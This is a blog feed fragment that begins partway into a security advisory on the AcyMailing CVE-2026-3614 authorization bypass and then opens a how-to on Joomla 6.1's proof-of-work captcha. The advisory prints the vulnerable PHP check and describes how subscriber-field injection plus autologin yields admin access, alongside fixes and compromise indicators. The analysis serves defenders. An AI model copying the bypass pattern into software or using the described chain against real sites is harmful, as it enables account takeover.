&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;in_array&lt;/span&gt;&lt;span&gt;($task,&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;countResultsTotal&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;countGlobalBySegmentId&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;countResults&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; strpos&lt;/span&gt;&lt;span&gt;($task,&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;Ajax&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;===&lt;/span&gt;&lt;span&gt; false&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        &amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;acym_isAllowed&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;name)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        acym_enqueueMessage&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;acym_translation&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;ACYM_ACCESS_DENIED&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;warning&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        acym_redirect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;acym_completeLink&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;dashboard&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // ... dispatch the task&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The second condition is the bug. &lt;code&gt;strpos($task, &apos;Ajax&apos;) === false&lt;/code&gt; means: &lt;strong&gt;if the task name contains the word “Ajax”, skip the authorization check entirely.&lt;/strong&gt; Any controller method named &lt;code&gt;somethingAjax&lt;/code&gt; can be called by any authenticated user, with no permission check at all.&lt;/p&gt;
&lt;p&gt;In 10.8.2 the gate is three lines and every task goes through &lt;code&gt;acym_isAllowed()&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; call&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;string&lt;/span&gt;&lt;span&gt; $task)&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; void&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;acym_isAllowed&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;name)) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        acym_enqueueMessage&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;acym_translation&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;ACYM_ACCESS_DENIED&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;warning&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;        acym_redirect&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;acym_completeLink&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;dashboard&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    // ... dispatch the task&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;How the subscriber injection works&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;back/Classes/UserClass.php&lt;/code&gt; is the second half of the chain. In vulnerable versions, the subscriber-save code does not strip &lt;code&gt;cms_id&lt;/code&gt; or &lt;code&gt;key&lt;/code&gt; from attacker-controlled input. That lets an attacker create a newsletter subscriber with:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cms_id&lt;/code&gt; set to an administrator’s user ID&lt;/li&gt;
&lt;li&gt;&lt;code&gt;key&lt;/code&gt; set to a known autologin token&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Combine that with the autologin feature toggled on (reachable via the AJAX controller bypass above), and the attacker can hit the autologin URL and authenticate as the admin.&lt;/p&gt;
&lt;p&gt;In 10.8.2 both fields are stripped before save:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;unset&lt;/span&gt;&lt;span&gt;($user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;cms_id);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;unset&lt;/span&gt;&lt;span&gt;($user&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;key);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the “user creation” fix the vendor’s changelog refers to.&lt;/p&gt;
&lt;h3&gt;The vendor changelog confirms Joomla&lt;/h3&gt;
&lt;p&gt;This is the AcyMailing 10.8.2 changelog entry from &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;acymailing.com&lt;/a&gt;:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;AcyMailing 10.8.2 changelog: Vulnerability&lt;/p&gt;&lt;div&gt;&lt;p&gt;[Joomla icon] [WordPress icon] A vulnerability on user creation impacting versions 9.11.0 to 10.8.1 has been patched. Details will be disclosed after a reasonable time to let users apply the patch first.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Both platform icons appear next to the vulnerability entry. The vendor confirms both CMS versions are affected. The public CVE does not.&lt;/p&gt;
&lt;h2&gt;AcyMailing is the sixth AJAX authorization CVE in eight weeks&lt;/h2&gt;
&lt;p&gt;We have been writing about this pattern for two months. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt; is the sixth AJAX-authorization bug in that window, and the shape is the same every time. An AJAX endpoint authenticates the request (the user is logged in, the CSRF token is valid) but never checks whether the user is authorized to do the thing they’re asking to do.&lt;/p&gt;
&lt;p&gt;Eight weeks of CVE disclosures in Joomla and WordPress extensions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;)&lt;/strong&gt; - CVSS 10.0, Joomla. AJAX endpoint checked the CSRF token but skipped the admin-authentication check. Grab the token from the login page, upload backdoors, done.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain Framework&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21627&quot;&gt;CVE-2026-21627&lt;/a&gt;)&lt;/strong&gt; - CVSS 9.5, Joomla. &lt;code&gt;com_ajax&lt;/code&gt; endpoint with no authentication check, reachable via Convert Forms and EngageBox plugins.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3098&quot;&gt;CVE-2026-3098&lt;/a&gt;)&lt;/strong&gt; - WordPress. &lt;code&gt;admin-ajax.php&lt;/code&gt; action with a valid CSRF check and no capability check. Any subscriber could download &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-21629&quot;&gt;CVE-2026-21629&lt;/a&gt;)&lt;/strong&gt; - the Joomla Security Strike Team’s own discovery that &lt;code&gt;com_ajax&lt;/code&gt; was excluded from the default logged-in-user check in the admin area. The framework routing every Joomla plugin’s AJAX requests had the same authorization gap as the plugins built on top of it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/ninja-forms-file-uploads-cve-2026-0740/&quot;&gt;Ninja Forms File Uploads&lt;/a&gt; (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0740&quot;&gt;CVE-2026-0740&lt;/a&gt;)&lt;/strong&gt; - CVSS 9.8, WordPress. Unauthenticated RCE via an &lt;code&gt;admin-ajax.php&lt;/code&gt; handler that never checked anything.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AcyMailing (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-3614&quot;&gt;CVE-2026-3614&lt;/a&gt;, this post)&lt;/strong&gt; - CVSS 8.8, Joomla and WordPress. Internal AJAX router had a one-line &lt;code&gt;strpos($task, &apos;Ajax&apos;) === false&lt;/code&gt; loophole that let any logged-in user reach admin-only controller methods.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Same root cause every time. A developer implemented CSRF protection (which stops requests originating on another domain) and assumed that covered access control (which decides who is allowed to do what). It doesn’t. They defend against different threats and you need both.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;March 2026 AJAX pattern post&lt;/a&gt; goes into why this keeps happening, what Joomla 5.4.4 did at the framework level for &lt;code&gt;com_ajax&lt;/code&gt;, and why the official Joomla developer documentation still teaches the insecure pattern. AcyMailing fits the template. The vulnerable code called &lt;code&gt;acym_isAllowed()&lt;/code&gt; on most tasks but had a &lt;code&gt;strpos(&apos;Ajax&apos;)&lt;/code&gt; substring check that let any attacker slip past by picking an Ajax-suffixed task name. In 10.8.2 every task goes through the authorization function - which is what should have been happening since 9.11.0.&lt;/p&gt;
&lt;p&gt;If you manage a portfolio of Joomla or WordPress sites with a pile of third-party extensions, assume this pattern is not done with us. More AJAX authorization CVEs are coming, probably this month. Patching each one as it appears is not a strategy - by the time the CVE is public the attackers have already had their month of diff-and-exploit time. What actually works is tracking extension versions across every site you manage and being able to pull up the list of vulnerable installs the same afternoon a CVE drops. That is the workflow &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; is built around.&lt;/p&gt;
&lt;h2&gt;Why Joomla extensions keep getting left behind on CVE visibility&lt;/h2&gt;
&lt;p&gt;The gap is self-reinforcing. Fewer Joomla installations than WordPress means less commercial incentive to fund a Joomla-focused Wordfence. Less vulnerability research means fewer Joomla CVEs. Fewer CVEs makes Joomla look safer than it is, which kills urgency to build the missing infrastructure, which keeps the feedback loop going.&lt;/p&gt;
&lt;p&gt;Meanwhile the WordPress side gets richer. &lt;a href=&quot;https://www.wordfence.com/products/wordfence-premium/&quot;&gt;Wordfence Premium&lt;/a&gt; sells firewall rules. Threat-intelligence subscriptions feed commercial products like &lt;a href=&quot;https://jetpack.com/upgrade/scan/&quot;&gt;Jetpack Scan&lt;/a&gt;, &lt;a href=&quot;https://sucuri.net/&quot;&gt;Sucuri&lt;/a&gt;, and &lt;a href=&quot;https://solidwp.com/security/&quot;&gt;Solid Security&lt;/a&gt;. Every new paying customer justifies more researcher hires. Every new CVE makes the feed more valuable. WordPress has turned plugin vulnerability disclosure into a funded commercial loop. Joomla has the &lt;a href=&quot;https://developer.joomla.org/security/&quot;&gt;Joomla Security Strike Team&lt;/a&gt; (core only) and &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;VEL&lt;/a&gt; (volunteer-run, reactive).&lt;/p&gt;
&lt;p&gt;When the vulnerability lives in cross-platform code, the asymmetry gets painful. Smart Slider 3 in March was the clearest recent case: the WordPress side got a CVE, a Wordfence advisory, coverage on every WordPress security blog. Joomla site operators found out via a German-language forum thread. Different plugin, same story here.&lt;/p&gt;
&lt;h2&gt;What to do right now about AcyMailing 10.8.2&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;If you only have a handful of sites:&lt;/strong&gt; log into each Joomla admin, check the AcyMailing version, update to 10.8.2 via AcyMailing’s Joomla installer.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If you manage tens or hundreds of sites:&lt;/strong&gt; &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;connect them to mySites.guru&lt;/a&gt; and the dashboard will show you every site running AcyMailing, the exact version, and flag the vulnerable range. The same screen pushes the 10.8.2 update to every affected site in one batch, for Joomla and WordPress together. This is the use case &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;multi-site CMS management tools&lt;/a&gt; are built for.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;If your extension auto-updates are disabled&lt;/strong&gt; (Joomla disables them by default), you will have to push the update manually. Most AcyMailing installs we see across the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;portfolio&lt;/a&gt; are two or three minor versions behind. If the primary CMS you manage is Joomla, start watching the WordPress CVE feeds too - CVE-2026-3614 is proof that a WordPress-framed disclosure may hit Joomla anyway.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;10.8.2 is not the latest version:&lt;/strong&gt; AcyMailing has since moved to 11.1.0, which fixes two more security issues of its own - see &lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;our write-up on AcyMailing 11.1.0&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Was my Joomla site exploited via AcyMailing before I patched?&lt;/h2&gt;
&lt;p&gt;The vulnerability went public on 16 April 2026. The patch was available from 13 March 2026. So anyone with a GitHub account and 10 minutes of patience has had a month to diff the releases, work out the attack path, and try it on whatever authenticated accounts they already had. If you are patching late, assume exploitation attempts happened.&lt;/p&gt;
&lt;p&gt;Signs of compromise on a Joomla site:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;New administrator accounts&lt;/strong&gt; you didn’t create. Check &lt;strong&gt;Users → Manage&lt;/strong&gt; and sort by registration date&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AcyMailing configuration changes&lt;/strong&gt; you didn’t make, specifically the autologin setting being turned on&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New newsletter subscribers&lt;/strong&gt; with unusual &lt;code&gt;cms_id&lt;/code&gt; values linking them to admin accounts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Autologin URLs in access logs&lt;/strong&gt; referencing AcyMailing routes with session-establishing tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If any of those turn up, assume the site is compromised and work through a &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hack recovery&lt;/a&gt; instead of just updating the plugin. Updating closes the door, but if an attacker already got in and established a secondary persistence mechanism (new admin, backdoor file, scheduled task), the update does not clean that up.&lt;/p&gt;
&lt;h2&gt;Stop missing Joomla CVEs that only get announced for WordPress&lt;/h2&gt;
&lt;p&gt;If Wordfence and NVD are the only feeds you watch, you will keep missing the Joomla half of cross-platform disclosures. &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Connect your sites to mySites.guru&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability scanner&lt;/a&gt; does the cross-referencing for both CMS platforms, twice a day. Every site running a vulnerable version, Joomla and WordPress together, in one list.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-03-13&lt;/strong&gt; AcyMailing 10.8.2 ships the fix The vendor changelog flags it with both the Joomla and the WordPress icon. Affected range is 9.11.0 through 10.8.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-16&lt;/strong&gt; CVE-2026-3614 goes public, described as a WordPress-only bug Scored CVSS 8.8, a privilege escalation letting a low-privilege account call admin-only controller methods. The description is wrong about the platform: our own source diff puts the vulnerable code in the shared back/Core/AcymController.php, so Joomla is equally affected.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-04-16&lt;/strong&gt; We publish the Joomla half of the story A month passed between the patch and the public record. Anyone with a GitHub account and ten minutes could have diffed the releases and worked out the attack path in that window, so if you are patching late, assume exploitation attempts happened.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://vulnerability.circl.lu/vuln/cve-2026-3614&quot;&gt;CVE-2026-3614 on Vulnerability-Lookup&lt;/a&gt; - the CIRCL CVE record with full technical metadata&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://managed-wp.com/latest-wordpress-plugin-vulnerabilities/critical-acymailing-smtp-access-control-vulnerability-cve20263614-2026-04-16/&quot;&gt;Managed-WP advisory&lt;/a&gt; - the most detailed public writeup of the WordPress attack path&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; - the vendor&apos;s own confirmation of the shared-code fix with both Joomla and WordPress icons&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/acymailing-11-1-0-security-release/&quot;&gt;AcyMailing 11.1.0 security release&lt;/a&gt; - two more AcyMailing security fixes, filed under Bug fixes and later published as CVE-2026-94132 and CVE-2026-94131&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;acyba/acymailing on GitHub&lt;/a&gt; - tagged source for every public release, the diff we used is between &lt;code&gt;v10.8.1&lt;/code&gt; and &lt;code&gt;v10.8.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/vulnerable/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; and the &lt;a href=&quot;https://extensions.joomla.org/vulnerable-extensions/about/&quot;&gt;VEL about page&lt;/a&gt; - the official statement of what VEL is and is not&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities&quot;&gt;Wordfence vulnerability database&lt;/a&gt;, &lt;a href=&quot;https://patchstack.com/database/&quot;&gt;Patchstack database&lt;/a&gt;, and &lt;a href=&quot;https://wpscan.com/plugins/&quot;&gt;WPScan plugins directory&lt;/a&gt; - the three commercial WordPress vulnerability feeds CVE-2026-3614 appears in&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/PartnerInformation/ListofPartners&quot;&gt;CVE Program list of CNAs&lt;/a&gt; - search for &quot;Wordfence&quot; and &quot;Patchstack&quot; to see the WordPress-focused CVE authorities; no Joomla equivalent exists&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Access_Control_Cheat_Sheet.html&quot;&gt;OWASP Access Control Cheat Sheet&lt;/a&gt; - the distinction between authentication, authorization, and CSRF protection that plugin developers keep conflating&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>wordpress</category><category>vulnerability</category><category>acymailing</category><category>ajax</category><enclosure url="https://mysites.guru/img/og/blog/acymailing-cve-2026-3614-joomla.png" length="0" type="image/png"/></item><item><title>How to Enable POW Captcha in Joomla 6.1</title><link>https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-enable-pow-captcha-in-joomla-6-1/</guid><description>Joomla 6.1 ships a built-in proof-of-work captcha replacing Google reCAPTCHA. How to enable it on one site or a whole portfolio with mySites.guru.</description><pubDate>Wed, 15 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;div&gt;
  &lt;p&gt;&lt;strong&gt;POW CAPTCHA&lt;/strong&gt; = proof-of-work CAPTCHA. The visitor&apos;s browser solves a small maths puzzle in the background instead of clicking traffic lights. Cheap for one form submission, expensive for a bot doing thousands. No images, no third party.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-6-1-release-whats-new/&quot;&gt;Joomla 6.1&lt;/a&gt; shipped a built-in proof-of-work captcha plugin called &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt;. It is based on the &lt;a href=&quot;https://altcha.org&quot;&gt;Altcha&lt;/a&gt; open-source library, it does not call out to Google or any other third party, and it does not need an API key. For the first time in fifteen years, putting a Joomla site live with spam protection does not start with a registration form for someone else’s service.&lt;/p&gt;
&lt;p&gt;This post covers how to turn it on. There are two routes: the mySites.guru route if you manage more than one Joomla site, and the manual route if you only have one. Both get you to the same place.&lt;/p&gt;
&lt;h2&gt;How to Enable POW Captcha Across Every Joomla 6.1 Site at Once With mySites.guru&lt;/h2&gt;
&lt;p&gt;If you &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;manage multiple Joomla sites&lt;/a&gt;, enabling a new core feature is rarely the bottleneck. The work is walking through thirty admin backends, clicking through the same plugin toggle and Global Configuration save thirty times, and then checking that nothing broke on each site’s contact form.&lt;/p&gt;
&lt;p&gt;mySites.guru now ships a tool called &lt;strong&gt;Enable POW Captcha On Joomla 6.1 Sites&lt;/strong&gt; that collapses that whole sequence into one button per site, or one bulk run across the whole portfolio. The tool:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Detects&lt;/strong&gt; which of your connected sites are running Joomla 6.1 or later. Older sites are skipped, because the plugin does not exist on them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audits&lt;/strong&gt; each 6.1 site to see whether &lt;code&gt;plg_captcha_powcaptcha&lt;/code&gt; is installed, whether it is enabled, and whether Global Configuration has it set as the Default Captcha.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flags&lt;/strong&gt; every site where any of those three conditions is not met, with a clear red, amber, or green status per row.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Fixes&lt;/strong&gt; any flagged site with a single click. The connector enables the plugin and writes the &lt;code&gt;captcha&lt;/code&gt; key in the &lt;code&gt;#__extensions&lt;/code&gt; config for &lt;code&gt;com_config&lt;/code&gt; to &lt;code&gt;powcaptcha&lt;/code&gt;. No admin login, no browser tab juggling.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Enable POW Captcha tool showing a Joomla 6.1 site where the plugin is installed and enabled but Default Captcha is set to none, with a single Enable proof-of-work captcha button to fix it&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1038px) 1038px, 100vw&quot; width=&quot;1038&quot; height=&quot;658&quot; src=&quot;https://mysites.guru/_astro/mysites-pow-captcha-turn-on.BNZ0JWwG_2hltoH.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-pow-captcha-turn-on.BNZ0JWwG_2lBrT3.webp 640w, https://mysites.guru/_astro/mysites-pow-captcha-turn-on.BNZ0JWwG_Z2jq3MR.webp 750w, https://mysites.guru/_astro/mysites-pow-captcha-turn-on.BNZ0JWwG_ZT4owq.webp 828w, https://mysites.guru/_astro/mysites-pow-captcha-turn-on.BNZ0JWwG_2hltoH.webp 1038w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One click on &lt;strong&gt;Enable proof-of-work captcha&lt;/strong&gt; and the same tool comes back green:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Enable POW Captcha tool after the fix, showing a green shield and the message Proof-of-work captcha is active: the plugin is enabled and set as the site&apos;s default captcha&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1046px) 1046px, 100vw&quot; width=&quot;1046&quot; height=&quot;408&quot; src=&quot;https://mysites.guru/_astro/mysites-pow-captcha-active.CpoWG5oG_Z1QNhlb.webp&quot; srcset=&quot;https://mysites.guru/_astro/mysites-pow-captcha-active.CpoWG5oG_TTmBG.webp 640w, https://mysites.guru/_astro/mysites-pow-captcha-active.CpoWG5oG_Z23VF1I.webp 750w, https://mysites.guru/_astro/mysites-pow-captcha-active.CpoWG5oG_Z1b4q3z.webp 828w, https://mysites.guru/_astro/mysites-pow-captcha-active.CpoWG5oG_Z1QNhlb.webp 1046w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;From the all-sites tool view, you see the captcha status for every connected Joomla 6.1 site in one table and toggle on the ones that still need it. For a thirty-site agency portfolio, this is the difference between a project and an afternoon.&lt;/p&gt;
&lt;p&gt;The audit also reports which sites are still using Google reCAPTCHA, which is useful in its own right. Even if you do not migrate everything today, having a live inventory of “these six sites still depend on a Google account for captcha” means nothing breaks when that account expires or Google deprecates a version.&lt;/p&gt;
&lt;h2&gt;How to Enable POW Captcha Manually in Joomla 6.1&lt;/h2&gt;
&lt;p&gt;If you only have one Joomla site, or you want to understand exactly what the tool does before pushing it out across your portfolio, it is a two-step job.&lt;/p&gt;
&lt;h3&gt;Step 1: Enable the plugin&lt;/h3&gt;
&lt;p&gt;Go to &lt;strong&gt;Extensions&lt;/strong&gt;, then &lt;strong&gt;Plugins&lt;/strong&gt;. Search for &lt;code&gt;powcaptcha&lt;/code&gt; (or just &lt;code&gt;captcha&lt;/code&gt;). You will see a plugin called &lt;strong&gt;CAPTCHA - Proof of Work&lt;/strong&gt;. Open it.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;The Joomla 6.1 admin showing the CAPTCHA - Proof of Work plugin edit screen, with Difficulty set to Easy, Automatic Solution set to When CAPTCHA field receives focus, Expiration set to 5 minutes, and Status set to Enabled&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 2222px) 2222px, 100vw&quot; width=&quot;2222&quot; height=&quot;1688&quot; src=&quot;https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_Z1bOfCC.webp&quot; srcset=&quot;https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_Z1B1NIk.webp 640w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_ZFBaQs.webp 750w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_1vOcBu.webp 828w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_Z2gE7Io.webp 1080w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_Z9qsTP.webp 1280w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_29jmnQ.webp 1668w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_2qNCjv.webp 2048w, https://mysites.guru/_astro/pow-captcha-plugin-settings.B6GxKuVz_Z1bOfCC.webp 2222w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three plugin settings matter:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Difficulty.&lt;/strong&gt; Easy, Medium, or Hard. Easy is fine for a normal contact form. Hard adds more compute cost per submission, useful on endpoints that attract heavy spam like user registration or comment forms. Default is Easy and there is no reason to change it until you see real abuse.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic Solution.&lt;/strong&gt; Controls when the browser starts solving the puzzle. &lt;strong&gt;When CAPTCHA field receives focus&lt;/strong&gt; is the default and works well. &lt;strong&gt;On page load&lt;/strong&gt; starts solving earlier, fractionally better for slow devices but means the puzzle runs even if the visitor never submits. &lt;strong&gt;On submit&lt;/strong&gt; delays solving until the visitor clicks submit and adds a visible pause. Stick with the default.&lt;/li&gt;
